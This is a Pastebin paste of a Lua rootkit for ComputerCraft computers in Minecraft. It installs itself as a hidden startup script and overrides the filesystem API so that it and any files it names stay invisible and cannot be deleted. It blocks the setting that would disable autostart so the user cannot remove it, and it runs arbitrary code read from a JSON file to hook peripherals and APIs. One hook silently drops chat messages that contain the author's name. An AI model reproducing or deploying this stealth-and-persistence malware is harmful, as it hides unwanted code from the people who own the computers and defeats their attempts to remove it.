t8rt0t

peripheral_injector.lua

Jun 1st, 2024 (edited)
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 10.07 KB | None | 0 0
  1. local INJECTION_PATH = "injections.json"
  2. local HIDDEN_FILES = {}
  3. local DIRS = {}
  4. local OLD_FUNCTIONS = {}
  5. local PERIPHERAL_OVERRIDES
  6. local THIS = shell.getRunningProgram()
  7. local ALT_PATH = "startup/startup_override_aos87cgabsdhcbasdjkr.lua"
  8.  
  9. HIDDEN_FILES[shell.getRunningProgram()] = true
  10. HIDDEN_FILES[INJECTION_PATH] = true
  11. --JSON
  12. -- [[
  13. -- {
  14. --  "type":"injections",
  15. --  "peripherals"?:{
  16. --   <peripheral_Type>:{
  17. --    <method>:{
  18. --     <input_validator>?: string = <function to serialise, returning true to use normal behavior, or false,<returns...> to skip the function and return those values instead,
  19. --     <output_validator>?: string = <function to serialise, which takes the original output and returns the modified output>,
  20. --    }...
  21. --   },
  22. --   "chatBox"?:{
  23. --    "sendMessage"
  24. --    "input_validator":"function(...) for k,v in ipairs({...}) do if v == "t8rt0t" then return false,nil end end return true end", --Return true to run the normal behavior, or false, <return value> to skip the peripheral and return the return value instead
  25. --   },
  26. --   "hidden_files":[
  27. --    string = <path of file to hide>,
  28. --    ...
  29. --   ],
  30. --   "api_overrides"?:{
  31. --    <api>:{
  32. --     <function>: string = <function to override with>,
  33. --     ...
  34. --    }
  35. --   },
  36. --   "extra"?: string = <function to run>
  37. -- }
  38. -- ]]
  39. setmetatable(os,OLD_FUNCTIONS) --override to access old functions
  40. OLD_FUNCTIONS.fs,OLD_FUNCTIONS.peripheral,OLD_FUNCTIONS.settings,OLD_FUNCTIONS.shell = {},{},{},{}
  41. OLD_FUNCTIONS.ALT_PATH,OLD_FUNCTIONS.HIDDEN_FILES,OLD_FUNCTIONS.DIRS,OLD_FUNCTIONS.THIS,OLD_FUNCTIONS.INJECTION_PATH = ALT_PATH,HIDDEN_FILES,DIRS,THIS,INJECTION_PATH
  42. for k,v in pairs(fs) do
  43.     OLD_FUNCTIONS.fs[k] = v
  44. end
  45. for k,v in pairs(peripheral) do
  46.     OLD_FUNCTIONS.peripheral[k] = v
  47. end
  48. for k,v in pairs(settings) do
  49.     OLD_FUNCTIONS.settings[k] = v
  50. end
  51. for k,v in pairs(shell) do
  52.     OLD_FUNCTIONS.shell[k] = v
  53. end
  54.  
  55. local function getDirs(path,list)
  56.     list = type(list) == "table" and list or {}
  57.     if #OLD_FUNCTIONS.fs.getDir(path) <= 0 then return list
  58.     else
  59.         table.insert(list,OLD_FUNCTIONS.fs.getDir(path))
  60.         return getDirs(OLD_FUNCTIONS.fs.getDir(path),list)
  61.     end
  62. end
  63.  
  64. local function refreshDirs()
  65.     DIRS = {}
  66.     for k,v in pairs(HIDDEN_FILES) do
  67.         for j,w in ipairs(getDirs(k)) do
  68.             DIRS[w] = (DIRS[w] or 0) + 1
  69.         end
  70.     end
  71.     if OLD_FUNCTIONS.fs.exists(ALT_PATH) then
  72.         for j,w in ipairs(getDirs(ALT_PATH)) do
  73.             DIRS[w] = (DIRS[w] or 0) + 1
  74.         end
  75.     end
  76. end
  77.  
  78. local function isHidden(path)
  79.     if type(path) == "string" then
  80.         path = OLD_FUNCTIONS.fs.combine(OLD_FUNCTIONS.fs.getDir(path),OLD_FUNCTIONS.fs.getName(path))
  81.     end
  82.     refreshDirs()
  83.     return path and (HIDDEN_FILES[path] or (DIRS[path] and #OLD_FUNCTIONS.fs.list(path) <= DIRS[path]))
  84. end
  85.  
  86. --Hiding files overrides
  87. fs.exists = function(path)
  88.     if type(path) == "string" then path = path:gsub("/$","") end
  89.     if path == THIS then return fs.exists(ALT_PATH) end
  90.     if isHidden(path) then return false else return OLD_FUNCTIONS.fs.exists(path) end end
  91. fs.list = function(path)
  92.     local t = {}
  93.     for k,v in ipairs(OLD_FUNCTIONS.fs.list(path)) do
  94.         if fs.exists(fs.combine(path,v)) and fs.combine(path,v) ~= ALT_PATH then table.insert(t,v)
  95.         -- elseif fs.exists(fs.combine(path,v)) and fs.combine(path,v) == ALT_PATH then table.insert(t,THIS) end
  96.         end
  97.     end
  98.     return t
  99. end
  100. fs.open = function(path,mode)
  101.     if path == THIS then return fs.open(ALT_PATH,mode) end
  102.     if path and HIDDEN_FILES[path] then return nil,tostring(path) .. ": No such file" end
  103.     return OLD_FUNCTIONS.fs.open(path,mode)
  104. end
  105. fs.delete = function(path)
  106.     if path == THIS then
  107.         if #OLD_FUNCTIONS.fs.list("startup") <= 1 then return OLD_FUNCTIONS.fs.delete("startup") end
  108.         return fs.delete(ALT_PATH)
  109.     end
  110.     if isHidden(path) then return end
  111.     return OLD_FUNCTIONS.fs.delete(path)
  112. end
  113. fs.getSize = function(path)
  114.     if path == THIS then return fs.getSize(ALT_PATH) end
  115.     if isHidden(path) then return end
  116.     return OLD_FUNCTIONS.fs.getSize(path)
  117. end
  118. fs.isDir = function(path) if path == THIS then return fs.isDir(ALT_PATH) end return fs.exists(path) and OLD_FUNCTIONS.fs.isDir(path) end
  119. fs.complete = function(name,dir,...)
  120.     local t = OLD_FUNCTIONS.fs.complete(name,dir,...)
  121.     for i=#t,1,-1 do
  122.         if not fs.exists(fs.combine(dir,name..t[i])) then table.remove(t,i) end
  123.     end
  124.     return t
  125. end
  126. fs.move = function(path,dest)
  127.     if path == THIS then return fs.move(ALT_PATH,dest) end
  128.     if dest == THIS then return fs.move(path,ALT_PATH) end
  129.     return OLD_FUNCTIONS.fs.move(path,dest)
  130. end
  131. fs.copy = function(path,dest)
  132.     if path == THIS then return fs.copy(ALT_PATH,dest) end
  133.     if dest == THIS then return fs.copy(path,ALT_PATH) end
  134.     return OLD_FUNCTIONS.fs.copy(path,dest)
  135. end
  136. fs.attributes = function(path)
  137.     if path == THIS then return fs.attributes(ALT_PATH) end
  138.     return OLD_FUNCTIONS.fs.attributes(path)
  139. end
  140. fs.getCapacity = function(path)
  141.     if path == THIS then return fs.getCapacity(ALT_PATH) end
  142.     return OLD_FUNCTIONS.fs.getCapacity(path)
  143. end
  144. fs.getFreeSpace = function(path)
  145.     if path == THIS then return fs.getFreeSpace(ALT_PATH) end
  146.     return OLD_FUNCTIONS.fs.getFreeSpace(path)
  147. end
  148. shell.getRunningProgram = function() local temp = OLD_FUNCTIONS.shell.getRunningProgram()return temp == ALT_PATH and THIS or temp end
  149.  
  150. --Completion Overrides, copied from startup.lua in rom
  151. local completion = require "cc.shell.completion"
  152. shell.setCompletionFunction("rom/programs/alias.lua", completion.build(nil, completion.program))
  153. shell.setCompletionFunction("rom/programs/cd.lua", completion.build(completion.dir))
  154. shell.setCompletionFunction("rom/programs/copy.lua", completion.build({ completion.dirOrFile, true }, completion.dirOrFile))
  155. shell.setCompletionFunction("rom/programs/delete.lua", completion.build({ completion.dirOrFile, many = true }))
  156. shell.setCompletionFunction("rom/programs/drive.lua", completion.build(completion.dir))
  157. shell.setCompletionFunction("rom/programs/edit.lua", completion.build(completion.file))
  158. shell.setCompletionFunction("rom/programs/list.lua", completion.build(completion.dir))
  159. shell.setCompletionFunction("rom/programs/mkdir.lua", completion.build({ completion.dir, many = true }))
  160. shell.setCompletionFunction("rom/programs/move.lua", completion.build({ completion.dirOrFile, true },completion.dirOrFile))
  161. shell.setCompletionFunction("rom/programs/rename.lua", completion.build({ completion.dirOrFile, true },completion.dirOrFile))
  162. shell.setCompletionFunction("rom/programs/shell.lua", completion.build({ completion.programWithArgs, 2, many = true }))
  163. shell.setCompletionFunction("rom/programs/type.lua", completion.build(completion.dirOrFile))
  164. shell.setCompletionFunction("rom/programs/advanced/bg.lua", completion.build({ completion.programWithArgs, 2, many = true }))
  165. shell.setCompletionFunction("rom/programs/advanced/fg.lua", completion.build({ completion.programWithArgs, 2, many = true }))
  166. shell.setCompletionFunction("rom/programs/fun/speaker.lua", completion.build(
  167.     { completion.choice, { "play ", "sound ", "stop " } },
  168.     function(shell, text, previous)
  169.         if previous[2] == "play" then return completion.file(shell, text, previous, true)
  170.         elseif previous[2] == "stop" then return completion.peripheral(shell, text, previous, false)
  171.         end
  172.     end,
  173.     function(shell, text, previous)
  174.         if previous[2] == "play" then return completion.peripheral(shell, text, previous, false)
  175.         end
  176.     end
  177. ))
  178. shell.setCompletionFunction("rom/programs/fun/advanced/paint.lua", completion.build(completion.file))
  179.  
  180. --Settings overrides (to prevent people from removing auto-startup)
  181. settings.set = function(name,value) if name == "shell.allow_startup" then return end return OLD_FUNCTIONS.settings.set(name,value) end
  182.  
  183. -- print(textutils.serialise(HIDDEN_FILES))
  184. -- print(textutils.serialise(DIRS))
  185.  
  186. if not OLD_FUNCTIONS.fs.exists(INJECTION_PATH) then return end --Leave file if no injection
  187. local file = OLD_FUNCTIONS.fs.open(INJECTION_PATH,"r")
  188. local data = textutils.unserialiseJSON(file.readAll())
  189. file.close()
  190. if type(data) ~= "table" or data.type ~= "injections" then return end --or type(data.peripherals) ~= "table" then return end
  191. PERIPHERAL_OVERRIDES = data.peripherals
  192. if type(PERIPHERAL_OVERRIDES) == "table" then
  193.     peripheral.call = function(name,method,...)
  194.         local override = PERIPHERAL_OVERRIDES[name:match("(.+)%_%d+") or ""]
  195.         if not override then override = PERIPHERAL_OVERRIDES[OLD_FUNCTIONS.peripheral.getType(name) or ""] end
  196.         if override then
  197.             local iv,ov = (override[method] or {}).input_validator or override.input_validator, (override[method] or {}).output_validator or override.output_validator
  198.             if iv then
  199.                 local t = {loadstring("return "..iv)()(...)}
  200.                 if not table.remove(t,1) then return unpack(t) end
  201.             end
  202.             local output = {OLD_FUNCTIONS.peripheral.call(name,method,...)}
  203.             -- print(ov)
  204.             if ov then return loadstring("return "..ov)()(unpack(output)) else return unpack(output) end
  205.         else
  206.             return OLD_FUNCTIONS.peripheral.call(name,method,...)
  207.         end
  208.     end
  209. end
  210. if type(data.hidden_files) == "table" then
  211.     for k,v in ipairs(data.hidden_files) do
  212.         HIDDEN_FILES[v] = true
  213.     end
  214. end
  215. if type(data.api_overrides) == "table" then
  216.     for api,overrides in pairs(data.api_overrides) do
  217.         if _G[api] and type(overrides) == "table" then
  218.             if type(OLD_FUNCTIONS[api]) ~= "table" then OLD_FUNCTIONS[api] = {} end
  219.             for k,v in pairs(_G[api]) do
  220.                 OLD_FUNCTIONS[api][k] = v
  221.                 if overrides[k] then _G[api][k] = loadstring("return "..overrides[k])() end
  222.             end
  223.         elseif _G[api] and not overrides then
  224.             pcall(function() os.unloadAPI(api) end)
  225.             _G[api] = nil
  226.         end
  227.     end
  228. end
  229. if type(data.extra) == "string" then
  230.     pcall(function() loadstring(data.extra)() end)
  231. end
Advertisement
Add Comment
Please, Sign In to add comment